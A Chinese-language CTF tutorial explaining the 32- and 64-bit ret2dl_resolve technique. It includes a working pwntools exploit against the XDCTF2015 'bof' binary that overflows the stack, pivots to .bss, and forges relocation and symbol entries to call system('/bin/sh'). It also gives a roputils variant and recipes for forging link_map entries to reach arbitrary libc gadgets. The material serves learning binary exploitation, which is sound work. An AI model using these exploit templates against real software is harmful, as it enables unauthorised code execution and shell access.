32位/64位dlresolve最全总结(不用泄露地址-执行one_gadget)
字数 2012 2025-08-04 08:17:33
32位/64位dl_resolve技术全面解析
1. dl_resolve原理概述
dl_resolve是一种无需泄露内存地址即可执行libc中任意gadget的技术,主要利用动态链接器中的_dl_runtime_resolve函数解析符号的过程。
1.1 关键节表结构
- JMPREL (.rel.plt): 函数重定位表,存储Elf32_Rel结构体
- SYMTAB (.dynsym): 动态链接符号表,存储Elf32_Sym结构体
- STRTAB (.dynstr): 字符串表
- PLTGOT (.got.plt): 全局偏移表(GOT)
1.2 关键数据结构
Elf32_Sym (16字节)
typedef struct {
Elf32_Word st_name; // 在.dynstr中的偏移
Elf32_Addr st_value; // 符号值
Elf32_Word st_size; // 符号大小
unsigned char st_info; // 符号类型和绑定
unsigned char st_other; // 符号可见性
Elf32_Section st_shndx; // 节索引
} Elf32_Sym;
Elf32_Rel (8字节)
typedef struct {
Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
Elf32_Word r_info; // 符号表索引(r_info高8位)和类型(低8位)
} Elf32_Rel;
1.3 函数调用过程分析
当第一次调用read@plt时:
jmp read@got.plt会跳回read@plt- 将read的重定位偏移(在.rel.plt中的偏移)压栈
- 跳到plt[0]开头
- 将(.got.plt+4)(GOT[1])压栈
- 跳到(.got.plt+0x8)(GOT[2])
- 相当于调用
_dl_runtime_resolve(link_map, rel_offset)
1.4 _dl_fixup函数关键流程
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg) {
// 1. 计算重定位入口
const PLTREL *const reloc = JMPREL + reloc_offset;
// 2. 找到.dynsym中对应条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
// 3. 检查reloc->r_info最低位是否为R_386_JUMP_SLOT=7
assert(ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 4. 找到符号表字符串
result = _dl_lookup_symbol_x(strtab + sym->st_name, ...);
// 5. 计算实际地址
value = DL_FIXUP_MAKE_VALUE(result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
// 6. 写入GOT表
return elf_machine_fixup_plt(l, result, reloc, rel_addr, value);
}
1.5 利用libc中的gadget
关键点在于当.dynsym节中Elf32_Sym结构的st_other值为非0时,会进入特殊分支:
if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0) {
// 正常流程
} else {
/* 特殊分支 */
value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value);
result = l;
}
利用方法:
- 伪造link_map结构
- 使
l_addr或st_value之一落到某个已解析的GOT表处 - 另一个变量设置为可控偏移
- 从而跳到libc中任意地址(libc_func+offset)
2. 32位dl_resolve利用技术
2.1 基本利用模板
from pwn import *
elf = ELF('bof')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']
ppp_ret = 0x08048619 # ROPgadget查找
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458
stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size
r = process('./bof')
r.recvuntil('Welcome to XDCTF2015~!\n')
# 第一阶段:将ROP写入bss段并劫持栈
payload = 'A' * offset
payload += p32(read_plt) # 读100字节到base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret) # base_stage pop到ebp
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp
r.sendline(payload)
# 第二阶段:构造伪造结构
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()
2.2 使用roputils库简化
import roputils
from pwn import *
fpath = './bof'
offset = 112
rop = roputils.ROP(fpath)
addr_bss = rop.section('.bss')
buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)
p = process(fpath)
print p.recv()
p.send(p32(len(buf)) + buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)
p.send(buf)
p.interactive()
2.3 执行libc任意gadget
目标:执行libc-2.23.so中的gadget 0x8fa05 : cmp byte ptr [eax], dl ; pop edi ; ret
方法:
-
伪造symtab条目:
fake_sym = p32(0) + p32(fake_st_value) + p32(0) + p32(0x112)libc.symbos['libc_start_main'] = 0x18540fake_st_value = 0x8fa05 - 0x18540 = 0x774C5fake_link_map = elf.got['libc_start_main'] = 0x0804A018
-
伪造link_map:
_dl_fixup会引用link_map+0x34/0x38/0x7c处的值- 需要提前往这些偏移写入有效值
方法1:使用原有值
# 利用read将原有值写到对应偏移处
方法2:构造新值
# 设置dynstr、dynsym、rel_plt都指向base_stage
# val_0x34 = val_0x38 = val_0x7c = base_stage+80-4
# [base_stage+80] = base_stage
3. 64位dl_resolve利用技术
3.1 与32位的主要区别
-
结构体变化:
Elf64_Rela变为24字节:typedef struct elf64_rela { Elf64_Addr r_offset; /* Location to apply action */ Elf64_Xword r_info; /* index and type (4+4 bytes) */ Elf64_Sxword r_addend;/* Constant addend */ } Elf64_Rela;Elf64_Sym变为24字节,字段顺序变化:typedef struct elf64_sym { Elf32_Word st_name; /* 4 bytes */ unsigned char st_info; /* 1 byte */ unsigned char st_other;/* 1 byte */ Elf64_Half st_shndx; /* 2 bytes */ Elf64_Addr st_value; /* 8 bytes */ Elf64_Xword st_size; /* 8 bytes */ } Elf64_Sym;
-
参数传递:
- 第二个参数由相对JMPREL的偏移变为条目下标(除以24)
- 仍然通过栈传递参数(而非寄存器)
-
额外要求:
- 需要将
link_map+0x1c8处设为NULL
- 需要将
3.2 基本利用模板
# 类似32位但需要考虑上述差异
3.3 执行libc任意gadget
目标:执行libc-2.23.so中的gadget 0x8eb46 : cmp byte ptr [rax], dl ; ret
方法:
-
伪造symtab条目:
fake_sym = p32(0) + p32(0x112) + p64(fake_st_value) + p64(0)libc.symbos['libc_start_main'] = 0x20740fake_st_value = 0x8eb46 - 0x20740 = 0x6E406fake_link_map = elf.got['libc_start_main'] = 0x601038
-
伪造link_map:
_dl_fixup会引用link_map+0x68/0x70/0xf8处的值- 需要提前往这些偏移写入有效值
-
确保
l_addr + r_offset可写:r_offset = libc['.bss'] - libc.symbols['libc_start_main']
方法1:使用原有值
# 利用read将原有值写到对应偏移处
方法2:构造新值
# 设置dynstr、dynsym、rel_plt都指向base_stage
# val_0x68 = val_0x70 = val_0xf8 = base_stage+0xc0-8
# [0xc0] = base_stage
4. 总结
dl_resolve技术通过精心构造动态链接相关的数据结构,利用_dl_runtime_resolve函数的解析过程,实现了无需泄露内存地址即可执行libc中任意gadget的目标。32位和64位的实现原理相似,但在结构体大小、参数传递和具体偏移上有所差异。掌握这项技术对于解决没有信息泄露的ROP题目非常有帮助。